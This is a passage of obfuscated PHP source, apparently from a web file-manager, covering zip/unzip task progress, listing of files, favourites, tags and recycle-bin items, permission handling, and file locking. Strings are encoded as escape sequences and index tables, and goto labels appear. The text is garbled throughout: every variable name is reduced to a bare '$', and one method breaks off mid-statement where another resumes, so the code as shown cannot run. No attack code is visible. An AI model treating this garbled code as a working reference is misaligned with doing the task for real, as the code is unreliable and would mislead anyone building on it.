get($, !0); $ = array($[1871] => timeFloat(), $[1872] => timeFloat(), $[350] => $, $[1862] => $, $
[206] => $); if (is_array($[$])) { $[$[1872]] = $[$][$[1872]]; } if (is_array($[$])) { if (t
imeFloat() - $[$][$[1871]] < $[$[206]] * 0.3) { return; } $[$[1872]] = $[$][$[1872]]; } $[
$] = $; Cache::set($, $, 60); Cache::removeMemory($); write_log($[1873] . $ . $[74] . $, $[1
97]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1874]); $ = in_array(strtolower(
ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ = $[1870]; $ = Cache::get($, !0); if (!$ || count
($) <= 0) { return; } $ = !1; $ = timeFloat(); $ = array(); foreach ($ as $ => $) { if ($ - $
[$[1872]] > $[$[206]]) { $ = !0; try { Hook::apply($[$[350]], $[$[1862]]); write_log($
[1875] . $ . $[74] . $[$[350]] . $[1876] . ACTION, $[197]); } catch (Exception $) { } continue; } $
[$] = $; } if (!$) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::re
moveMemory($); } public static function finished($, $) { $ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = ar
ray(); } self::$syncTask[] = array($[350] => $, $[1862] => $); } private static function finishedRun() { $ =& $_SERVER[
]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[350]], $[$[1862]]); }
catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip exte
nds TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1877], array($t
his, $[1878])); Hook::bind($[1274], array($this, $[1879])); Hook::bind($[1880], array($this, $[1881])); $ =&
$this->task; $[$[1882]] = $[1275]; if (!$[$[1653]]) { $[$[1653]] = LNG($[1883]); } } protected fu
nction endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1877], array($this, $[1878])); Hook::unbind(
$[1274], array($this, $[1879])); Hook::unbind($[1880], array($this, $[1881])); } public function updateAfter() { $
 =& $_SERVER[]; $ =& $this->task; if (!$[$[1137]] || !$[$[836]]) { if ($[$[1882]] != $
[398]) { return; } } if ($[$[1882]] == $[1275]) { $ = 0; if ($[$[1817]]) { $ = $[$[1818]] /
$[$[1817]]; } $[$[1766]] = $ * 0.3; } else { if ($[$[1882]] == $[398]) { $ = $[$
[1765]] / $[$[1137]]; $[$[1766]] = 0.3 + $ * 0.4; } else { if ($[$[1882]] == $[110]) { $ =
0; if ($[$[1819]] == $[110]) { $ = $[$[1818]]; } $ = ($[$[1822]] + $) / $[$
[836]]; $[$[1766]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$[1766]] > 0) { $ = timeFloat() - $[$[1768
]] - $[$[1771]]; $[$[1772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } } public function addFil
e($) { $ =& $_SERVER[]; $ =& $this->task; $ = IO::info($); $[$[1815]] = $[$[32]]; $
[$[1817]] = $[$[79]]; $[$[1818]] = 0; $[$[1139]] = $[1838]; $[$[1819]] = $[1275]; $
[$[836]] = $[$[79]]; $[$[1137]] = 1; $ = 0; $[$[1826]] = array($[1827] => $ + 1, $
[502] => $[$[32]], $[87] => $[$[87]], $[590] => $[$[590]] ? $[$[590]] : $[$
[87]]); $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->ta
sk; $[$[1815]] = get_path_this($); $[$[1817]] = $; $[$[1818]] = $; $[$[1139]]
= $ == $[1884] ? $[1885] : $[1886]; $[$[1819]] = $[12]; $[$[836]] = $; $[$
[1882]] = $[398]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[]; $ =& $this->task; $
[$[1882]] = $[110]; $ = IO::infoWithChildren($); $ = 0; $[$[1826]] = array($[1827] => $ +
1, $[502] => $[$[32]], $[87] => $[$[87]], $[590] => $[$[590]] ? $[$[590]] : $
[$[87]]); if ($[$[33]] == $[230]) { $[$[1137]] = 1; } else { $[$[1137]] = $[$[82]][$
[80]]; } $[$[1139]] = $[12]; $[$[1819]] = 0; $[$[1765]] = 0; $[$[1817]] = 0; $[$[1818]] =
0; $[$[1815]] = $[12]; $[$[1822]] = 0; $[$[836]] = $[$[79]]; $this->update(); self::log($[1
887] . json_encode(array($, $))); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($
[$[1882]] == $[1275]) { $[$[1882]] = $[398]; $[$[1822]] = 0; $[$[836]] = 0; } $
 = get_path_this($); if (strstr($, $[10])) { $[$[1765]] += 1; $[$[1137]] += 1; } $[$[1
815]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[];
parent::startAfter(); Hook::bind($[1888], array($this, $[1878])); Hook::bind($[1880], array($this, $[1881])); $ =&
$this->task; $[$[1882]] = $[1275]; if (!$[$[1653]]) { $[$[1653]] = LNG($[1889]); } } protected funct
ion endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1888], array($this, $[1878])); Hook::unbind($[1880], arra
y($this, $[1881])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[1137]] || !$
[$[836]]) { return; } if ($[$[1882]] == $[1275]) { $ = $[$[1818]]; if ($[$[1819]] != $[12
75]) { $ = 0; } $ = ($[$[1822]] + $) / $[$[836]]; $[$[1766]] = $ * 0.3; } else { if ($
[$[1882]] == $[398]) { $ = $[$[1765]] / $[$[1137]]; $[$[1766]] = 0.3 + $ * 0.5; } else { i
f ($[$[1882]] == $[110]) { $ = 0; if ($[$[1817]]) { $ = $[$[1818]] / $[$[1817]]; } $
[$[1766]] = 0.3 + 0.5 + $ * 0.2; } } } if ($[$[1766]] > 0) { $ = timeFloat() - $[$[1768]] - $[$
[1771]]; $[$[1772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } } public function copyFileStart($, $
, $, $, $, $) { $ =& $_SERVER[]; parent::copyFileStart($, $, $, $, $, $); $ =
& $this->task; if ($[$[1882]] == $[398]) { $[$[1882]] = $[110]; } $this->update(); } public function copyFileE
nd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1818]] = $[$[1
817]]; $[$[1822]] += $[$[1817]]; $[$[1819]] = $[12]; $this->update(); } public function zipEvent($, $
, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1815]] = get_path_this($); $[$[1817
]] = $; $[$[1818]] = $; $[$[1139]] = $ == $[1890] ? $[1885] : $[1886]; $[$[181
9]] = $[12]; $[$[836]] = $; $[$[1882]] = $[398]; $this->update(); } public function nameParse($) { $
 =& $_SERVER[]; $ =& $this->task; if ($[$[1765]] < $[$[1137]]) { $ = get_path_this($); if
(strstr($, $[10])) { $[$[1765]] += 1; } } if ($[$[1882]] == $[1275]) { $[$[1882]] = $
[398]; } $[$[1815]] = $; $this->update(); } } goto A; D: class SourceListModel extends ModelBase { protected
$tableName = "\151\157\x5f\163\157\x75\x72\143\x65"; protected $tableMeta = array("\x74\141\x62\154\145\x4e\x61\x6d\x65" => "\151\x6f\137\x7
3\157\x75\x72\x63\145\137\x6d\x65\x74\141", "\155\145\x74\x61\106\x69\x65\x6c\144" => "\163\157\x75\162\x63\x65\x49\104"); protected $dataAu
to = array(array("\x6d\x6f\x64\x69\146\171\x54\151\155\145", "\x74\x69\x6d\x65", "\x69\x6e\163\145\x72\x74", "\146\x75\x6e\143\x74\151\x6f\x
6e"), array("\x63\x72\x65\x61\x74\145\x54\x69\x6d\x65", "\x74\x69\x6d\145", "\x69\x6e\163\x65\x72\x74", "\146\x75\156\x63\164\x69\x6f\156"),
array("\x76\x69\x65\167\124\151\155\x65", "\164\151\x6d\145", "\x69\x6e\163\145\162\164", "\x66\x75\x6e\143\164\151\157\x6e")); protected s
tatic $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $ca
cheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->l
istSource(array($_SERVER[][485] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\x73\x79
\163\164\145\155", self::TYPE_USER => "\165\x73\x65\x72", self::TYPE_GROUP => "\147\x72\x6f\165\x70"); return $[$ . $_SERVER[
][12]]; } public function sourceListInfo($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : array(); $
 = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($[193] => array($[7],
$)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $[193]); } public function pathInfoFilte
r(&$) { $ =& $_SERVER[]; static $ = false; static $ = false; static $ = false; if (!$) { $ = $[48
6]; $ .= $[487]; $ .= $[488]; $ = $[489]; $ = explode($[50], $); $ = explode($[50], $
); $ = array(); foreach ($ as $) { if (in_array($, $)) { continue; } $[] = $; } $ = explode($
[50], $[490]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$
[87]] = $[491] . $[$[193]] . $[492]; $[$[33]] = $[$[493]] == 1 ? $[78] : $[230]; $[$
[190]] = $this->typeName($[$[190]]); if ($[$[493]] != 1) { $[$[169]] = $[$[494]]; unset($[$
[494]]); } $ = $; if (isset($[$[495]]) && $[$[495]][$[496]] == -1) { $ = $; } $ = arra
y_field_key($, $); return $; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[497])->listDat
a(); $ = array_filter_by_field($, $[33], $[498]); $ = array_to_keyvalue($, $[12], $[87]); if ($) { $
= $this->listSource(array($[499] => array($[500], $))); } $ = array_to_keyvalue($[$[454]], $[193]); foreach ($
 as &$) { $ = array($[501] => $[$[483]], $[502] => $[$[32]], $[503] => $[$[87]], $
[504] => $[$[33]], $[505] => $[$[231]], $[506] => $[$[88]]); if ($[$[33]] == $[498] &&
$[$[$[87]]]) { $[$[90]] = $[$[$[87]]]; } } unset($); return $; } public function listUserTag
($) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($[507])->listData()
; $ = array(); $ = array(); foreach ($ as $) { $ = $[$[87]]; if (!$) { continue; } if (!isset($[
$])) { $[$] = array(); } $[$][] = $[$[508]]; $[$[$[87]]] = $; } $ = array(); $
 = array(); $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($
 as $) { if (!in_array($, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($)) { $ =
$[$]; $ = array($[32] => $[$[32]], $[87] => $[$[87]], $[33] => $[$[33]], $
[90] => array($[509] => 1), $[232] => !0); if ($[$[33]] == $[230]) { $[] = $; } if ($[$[33]
] == $[78]) { $[] = $; } continue; } $[] = $; } if ($) { $ = $this->listSource(array($[499] => arr
ay($[500], $))); } $ = $ ? $ : array($[85] => array(), $[86] => array()); $[$[85]] = array_mer
ge($[$[85]], $); $[$[86]] = array_merge($[$[86]], $); if (isset($[$[451]]) && count($
) == $[$[451]][$[452]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[85]], $[12], $
[193]); $ = array_to_keyvalue($[$[86]], $[12], $[193]); $ = array_merge($, $); foreach ($ as
$) { if (!in_array($, $)) { $[] = $; } } if ($) { Model($[510])->removeBySource($); } return $; } p
ublic function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[511])->listData(); if (!$) { return array(); } $
= array($[499] => array($[500], $), $[512] => 1); return $this->listSource($); } public function listSource($, $
 = 3000, $ = false) { $ =& $_SERVER[]; if (!isset($[$[513]])) { $[$[513]] = 0; } if (isset($[$
[192]]) && $[$[192]] == $[228]) { $[$[494]] = array($[416], $[514]); } $ = $[515]; $
 = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $, $); $this->_listDataAp
ply($[$[454]], $); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $) { $
 =& $_SERVER[]; if (!is_array($[$[451]])) { return; } $ = $[$[451]]; if ($[$[453]] <= 1) { r
eturn; } if ($[$[452]] >= 100000) { return; } if (Model($[516])->get($[517]) != $[518]) { return; } $ = st
r_replace(array($[53], $[427], $[262]), $[12], $); $ = $[519] . str_replace($[50], $[5
20], $) . $[521]; $ = $[522]; $ = $ . $[523]; $ = $[$[448]] * ($[$[438]]
- 1) . $[50] . $[$[448]]; $ = $this->_makeOrder(!0); $ = $[519] . str_replace($[50], $[520], $
[0]); if (strpos($, $[524])) { $ = str_replace($[524], $[525], $); } else { $ .= $[526] . $
[1]; } $ = array(); foreach ($ as $ => $) { $[$[519] . $] = $; } $this->alias($[527])->f
ield($)->limit($)->order($); $ = $this->join($)->where($)->select(); if ($) { $[$[454]] = $
; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $ = Model($[528])->get($[529]); $
 = Model($[528])->get($[530]); $ = array($[531] => $[532], $[533] => $[534]); $ = array($
[32] => $[32], $[79] => $[79], $[169] => $[494], $[535] => $[535], $[536] => $[537]
, $[231] => $[231], $[88] => $[88]); $ = Input::get($[538], $[7], $, array_keys($)); $
 = Input::get($[539], $[7], $, array_keys($)); if (!in_array($, array_keys($))) { $ = $[32
]; } if (!in_array($, array_keys($))) { $ = $[531]; } if ($ == $[32]) { } $ = $[540] . $[
$] . $[53] . $[$]; $ = rtrim(trim($), $[50]); if ($) { return array($, $[$]); }
return $this->order($); } protected function _listDataApplyItem($, $ = false) { $ = array($); $this->_listDataApply
($, $); return $[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[]; if (!$) {
$ = array(); return; } $ = array_to_keyvalue($, $[12], $[193]); $ = array_unique($); $this->_listSourceCache($
); if (!$) { $this->_listAppendMeta($, $); $this->_listAppendFileMeta($, $); $this->_listAppendChildren($, $);
} $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $); $this->_listAppendUser($);
$this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVE
R[]; foreach ($ as $) { self::$cacheSourceInfo[$[541] . $[$[193]]] = $; } } protected function _listFilterInfo
(&$, $ = false) { $ =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathIn
fo[$[542] . intval($) . $[470] . $[$[193]]] = $; } unset($); } protected function _listMake(&$) { $
 =& $_SERVER[]; $[$[85]] = array(); $[$[86]] = array(); foreach ($[$[454]] as $) { $ = $
[$[493]] == 1 ? $[85] : $[86]; $[$][] = $; } unset($[$[454]]); } protected function _listAppen
dMeta(&$, $) { $ =& $_SERVER[]; $ = array($[499] => array($[500], $)); $ = Model($[543])->f
ield($[544])->where($)->select(); if (!$) { return; } $ = array($[545], $[546], $[525]); $ = array();
foreach ($ as $) { if (!isset($[$[$[193]]])) { $[$[$[193]]] = array(); } if (in_array($[$
[97]], $)) { continue; } $[$[$[193]]][$[$[97]]] = $[$[459]]; } foreach ($ as &$)
{ $[$[547]] = !1; if (isset($[$[$[193]]])) { $[$[547]] = $[$[$[193]]]; } if ($this->file
IsLock($) && $[$[495]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[495]][$[496]] = AuthMode
l::authDisable($[$[495]][$[496]], $); $[$[495]][$[548]][$[495]] = $[$[495]][$[496]];
} } unset($); } protected function _listAppendFileMeta(&$, $
																									) { $ =& $_SERVER[]; $ = array_to_keyvalue($
, $[12], $[549]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[550] => array($
[500], $)); $ = $[551]; $ = Model($[552])->field($)->where($)->select(); $ = array_to_keyvalue($
, $[549]); $ = Model($[553])->field($[554])->where($)->select(); $ = $ ? $ : array(); $ = array();
foreach ($ as $) { if (!isset($[$[$[549]]])) { $[$[$[549]]] = array(); } $[$[$[549]]
][$[$[97]]] = $[$[459]]; } foreach ($ as &$) { $ = $[$[549]]; if (!$ || !is_array($[$
])) { continue; } $ = $[$]; $[$[79]] = $[$[79]]; $[$[32]] = $[$[32]]; if (!$
[$[555]]) { Model($[552])->fileMd5Check($); } if (!isset(self::$cacheFileInfo[$[556] . $])) { self::$cacheFil
eInfo[$[556] . $] = array_merge(array(), $); } unset($[$][$[87]]); $ = isset($[$]) && is_arr
ay($[$]) ? $[$] : array(); $[$[170]] = array_merge($, $[$]); if (isset($[$[170]][$
[184]])) { $[$[184]] = json_decode($[$[170]][$[184]], !0); unset($[$[170]][$[184]]); } } unse
t($); } protected function _listAppendSourceInfo(&$, $) { $ =& $_SERVER[]; $ = Model($[557])->listData(); $
 = Model($[507])->listData(); $ = Model($[497])->listData(); $ = Model($[558])->listSimple(); $ = array_to_
keyvalue($, $[483]); $ = array_to_keyvalue_group($, $[87], $[508]); $ = array_to_keyvalue($, $[87
]); $ = array_to_keyvalue_group($, $[193]); foreach ($ as &$) { $[$[90]] = array($[559] => 0, $
[560] => 0, $[561] => 0); if (isset($[$[$[193]]])) { $[$[90]][$[562]] = 1; $[$[90]][$
[563]] = $[$[$[193]]][$[32]]; } if ($ && $ && isset($[$[$[193]]])) { $[$[90]][$[
564]] = array(); foreach ($[$[$[193]]] as $) { $ = $[$]; $[$[90]][$[564]][] = array($[5
65] => $[$[483]], $[502] => $[$[32]], $[566] => $[$[567]]); } } if ($ && isset($[$[$
[193]]])) { $[$[90]][$[568]] = array(); foreach ($[$[$[193]]] as $) { $ = $[569]; if (
$[$[570]] == $[91]) { $ .= $[571]; } $[$[90]][$[568]] = array_field_key($, explode($[5
0], $)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $
 = array(); $ = array($[239] => 0, $[240] => 0); foreach ($ as &$) { if (!$[$[493]]) { continue; } $[]
= $[$[193]]; } unset($); if (!$) { return; } $ = array($[192] => array($[7], $), $[513] => 0); $
= array($[192], $[493], $[572] => $[573]); $ = $this->field($)->where($)->group($[574])->select(); $ = ar
ray(); foreach ($ as $) { $ = $[$[192]]; $ = $[$[493]] == $[91] ? $[240] : $[239]; if (!isset($
[$])) { $[$] = array($[239] => 0, $[240] => 0); } $[$][$] += $[$[573]]; } foreach ($
as &$) { if (!$[$[493]]) { continue; } $ = is_array($[$[$[193]]]) ? $[$[$[193]]] : $
; $[$[240]] = $[$[240]]; $[$[239]] = $[$[239]]; unset($[$[494]]); } unset($); } protected
function _listAppendAuth(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if ($[$[190]] == self:
:TYPE_GROUP) { $[] = $[$[193]]; } } if (!$) { return; } $ = array_to_keyvalue($, $[193]); $ = Model($
[575])->getSourceList($, $); $ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[495]] = $[$[
$[193]]]; if (!$[$[495]] && $[$[190]] == self::TYPE_GROUP) { $[$[495]] = Action($[576])->pathGroupAuthMake($
[$[577]]); if (!$[$[495]] && !$) { $[$[233]] = !1; $[$[232]] = !1; } } if ($[$[495]]) { $[
$[233]] = AuthModel::authCheckEdit($[$[495]][$[496]]); $[$[232]] = AuthModel::authCheckView($[$[495]][$[
496]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if
(Model($[516])->get($[578]) != $[91]) { return; } static $ = false; if (!$) { $ = Model($[579]); $ = Mode
l($[580]); $ = $->listData(); $ = array_to_keyvalue($, $[193]); $ = json_decode(Model($[516])->get($
[581]), !0); $ = array_to_keyvalue($, $[483]); foreach ($ as $ => $) { $ = $[$[$[582]]]; if (!$
) { $->remove($[$[483]]); unset($[$]); continue; } $ = $->listData($[$[495]]); if (!$) { $
->remove($[$[483]]); unset($[$]); continue; } $[$[495]] = $; $[$[583]] = $; $[$[584]] = Model
($[585])->getInfoSimpleOuter($[$[535]]); $[$] = $; } } $ = USER_ID; $ = array(); $ = $this->_listAppen
dPath($, !0); foreach ($ as $ => &$) { if (!is_array($[$[495]])) { continue; } if ($[$[190]] != $[586])
{ continue; } if (isset($[$[$[193]]])) { $ = $[$[$[193]]]; if (!is_array($[$[547]])) { $[$[547]]
= array(); } $[$[547]][$[587]] = $[$[582]]; $[$[495]][$[588]] = $; $[$[495]][$[589]] = $[$
[590]]; $[$[495]][$[591]] = $[91]; if ($[$[535]] != $) { $[$[495]][$[496]] = $[$[495]][$
[496]] & $[$[495]][$[495]]; } continue; } $ = $this->parentLevelArray($[$[592]]); $ = array_reverse($); for
each ($ as $ => $) { if (!isset($[$])) { continue; } $ = $[$]; $[$[495]][$[588]] = $
; if ($[$[535]] != $) { $[$[495]][$[496]] = $[$[495]][$[496]] & $[$[495]][$[495]]; } $
= $[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($[$[$]])) { $ = $
[12]; break; } $ = $ . rtrim($[$[$]], $[8]) . $[8]; } $[$[495]][$[589]] = rtrim($, $[8]
) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[]; if ($[$[190]] != s
elf::TYPE_GROUP) { return; } $ = Model($[593])->getInfo($[$[577]]); $ = $this->parentLevelArray($[$[592]])
; $ = $[12]; foreach ($ as $) { $ = Model($[593])->getInfo($); $ .= $[$[90]][$[193]] .
$[50]; } $[$[594]] = $[$[192]]; $[$[595]] = $[$[592]]; $[$[596]] = $[$[597
]]; $[$[598]] = $ . $[$[90]][$[193]]; } protected function _listAppendPath(&$, $ = false) { $
=& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ as &$
) { $ = $[$[193]]; if ($[$[493]] == $[91] && $[$[192]] != 0) { $[$] = $[$
[32]]; } if ($[$[493]] == $[91] && $[$[192]] == 0) { $[$] = $this->_listAppendPathRoot($, array
()); } if (isset($[$[$[592]]])) { continue; } $[$[$[592]]] = !0; $ = $this->parentLevelArray($[$
[592]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_l
istAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count
($) > 0) { $ = array($[499] => array($[500], $)); if (count($) == 1) { $ = $this->sourceInfo($[
0]); $ = is_array($) ? array($) : !1; } else { $ = $this->field($[599])->where($)->select(); } if (!$) { $
 = array(); } foreach ($ as $) { $[$[$[193]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $
 = array(); foreach ($ as &$) { $ = $[$[592]]; $ = $[12]; if (isset($[$])) { $ =
$[$]; } else { $ = $this->parentLevelArray($[$[592]]); foreach ($ as $ => $) { if (isset($[
$])) { $ .= $[$] . $[8]; } } $[$] = $; } $ .= $[$[32]]; if ($[$[493]] =
= $[91]) { $ .= $[8]; } $[$[590]] = str_replace($[600], $[8], $); if ($[$[192]] == $
[228]) { $[$[32]] = trim($[$[$[193]]], $[8]); $[$[590]] = $[$[32]] . $[8]
; } if (intval($[$[190]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $); } } unset($); retur
n $; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $
[$[193]] != $) { return; } $ = explode($[8], trim($[$[590]], $[8])); $ = implode($[8], ar
ray_slice($, 2)); $[$[590]] = $[8] . LNG($[601]) . $[8] . ltrim($, $[8]); $[$[592]] =
$[602] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[193]] == $) { $[$[592]] = $
[602]; $[$[192]] = $[228]; $[$[32]] = LNG($[601]); } $[$[603]] = $[604]; } protected fu
nction _listAppendPathRoot(&$, $) { $ =& $_SERVER[]; static $ = false; $ = $[12]; if ($[$[190]] == s
elf::TYPE_USER) { if ($[$[577]] == USER_ID) { $ = LNG($[605]); if ($ === !1) { $ = Model($[606])->getInfoFull(
USER_ID); $ = _get($, $[607], $[12]); } if ($ && $[0] == $ || !$ && $[$[193]] == $) { $
= LNG($[608]); $[$[609]] = $[610]; } if (!$) { $[$[32]] = $; } } else { $[$[611]] = Model($[585
])->getInfoSimpleOuter($[$[577]]); $ = LNG($[612]) . $[176] . $[$[611]][$[32]] . $[178]; } } else { if ($
[$[190]] == self::TYPE_GROUP) { $ = Model($[593])->getInfoSimple($[$[577]]); $ = $[$[32]]; } else { if ($
[$[190]] == self::TYPE_SYSTEM) { $ = $[613]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $
; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[535]); $
 = array_to_keyvalue($, $[12], $[537]); $ = array_merge($, $); $ = Model($[606])->userListInfo($
); foreach ($ as &$) { $ = $[$[535]]; $[$[535]] = $[$] ? $[$] : !1; $ = $
[$[537]]; $[$[537]] = $[$] ? $[$] : !1; if (_get($, $[614], 0)) { $ = $GLOBALS[$[6]][$
[92]][$[615]]; if ($[$[547]][$[616]] <= time() - $) { $this->metaSet($[$[193]], $[617], null);
$this->metaSet($[$[193]], $[616], null); unset($[$[547]][$[617]]); continue; } $ = $[$[547]][
$[617]]; $[$[547]][$[618]] = Model($[606])->getInfoSimpleOuter($); } } unset($); } public function parent
LevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); return array_remove_value($, $
[228]); } public function listAll($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[619] => arr
ay($[620], $[$[592]] . $ . $[621]), $[622] => 0); $ = $[623]; $ = "\x4c\x45\106\124\40\112\x4f\x49\116\40
{$this->tablePrefix}\x69\157\x5f\146\151\x6c\145\40\146\x69\154\x65\40\157\156\x20\x73\x6f\165\x72\143\145\x2e\x66\151\x6c\145\x49\x44\x20\x
3d\x20\x66\151\154\145\x2e\x66\151\154\145\x49\104"; $ = $this->alias($[527])->field($)->where($)->join($)->select();
$this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[193]); $
 = "\57{$[$[32]]}\x2f"; $ = $ == $[600] ? $[8] : $; $ = array(); foreach ($ as $ => $
) { $ = $this->parentLevelArray($[$[592]]); array_shift($); $ = $; for ($ = 0; $ < count($); $++)
{ $ .= $[$[$]][$[32]] . $[8]; } $ .= $[$[32]]; if ($[$[493]]) { $ .= $[8]; } $ = arra
y($[503] => str_replace($[600], $[8], str_replace($[600], $[8], str_replace($[600], $[8], $))), $[624] => intva
l($[$[493]]), $[625] => intval($[$[79]]), $[88] => intval($[$[88]]), $[90] => $this->pathInfoFilter($)); i
f (!$[$[493]]) { $[$[549]] = $[$[549]]; } $[] = $; } $ = array_sort_by($, $[87]); return $
; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowL
ock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { retur
n; } $this->_lockCheck($[626], $); $ = 1; $this->_lockEvent($, array($[627], $[628]), $); $this->_lockParen
t($, array($[628]), $); $this->_lockEvent($, array($[629], $[630]), $); $this->_lockCheckEnd($[626], $
); } public function lockCopyEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent
($, array($[627], $[628]), $); $this->_lockParent($, array($[628]), $); $this->_lockEvent($, array($
[629], $[630]), $); } public function lockWriteStart($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) {
return; } $this->_lockCheck($[627], $); $ = 1; $this->_lockKey($[631] . $ . $[10] . $, $); $this->_lockE
vent($, array($[626], $[628]), $); $this->_lockParent($, array($[626], $[628]), $); $this->_lockCheckEnd($
[627], $); } public function lockWriteEnd($, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $


]; if (!$this->allowLock()) { return; } $this->_lockCheck($[628], $); $ = 1; $this->_lockKey($[632] . $, $
); $this->_lockEvent($, array($[626], $[627]), $); $this->_lockParent($, array($[626], $[628]), $)
; $this->_lockEvent($, array($[633], $[629], $[630]), $); $this->_lockCheckEnd($[628], $); } public func
tion lockMoveEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[632] . $, $
); $this->_lockEvent($, array($[626], $[627]), $); $this->_lockParent($, array($[626], $[628]), $); $this->_lo
ckEvent($, array($[633], $[629], $[630]), $); } private function _lockCheck($, $) { $ =& $_SERVER[];
$ = $this->sourceInfo($); $ = $ . $[10] . $; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($
)) { return; } $ = LNG($[634]); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] .
$); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$[592]]));
foreach ($ as $) { $ = $ . $[635] . $; if (CacheLock::lockGet($[636] . $)) { $ = $this->sou
rceInfo($); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($
, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $) { $ =& $_SERVER[]; $ = $ . $
[10] . $; CacheLock::setErrorMsg($[329]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->
_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[541] . $]); } $
 = $this->sourceInfo($); if (!$) { show_json(LNG($[108]), !1); } } private function _lockParent($, $, $) { if (
!$this->autoLockSet) { return; } $ = $this->sourceInfo($); if (!is_array($)) { return; } $ = array_reverse($this->parent
LevelArray($[$_SERVER[][592]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEv
ent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[
10] . $; if ($ && CacheLock::lockGet($[636] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = a
rray(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ = $_SERVER[
][636] . md5($); if ($) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($
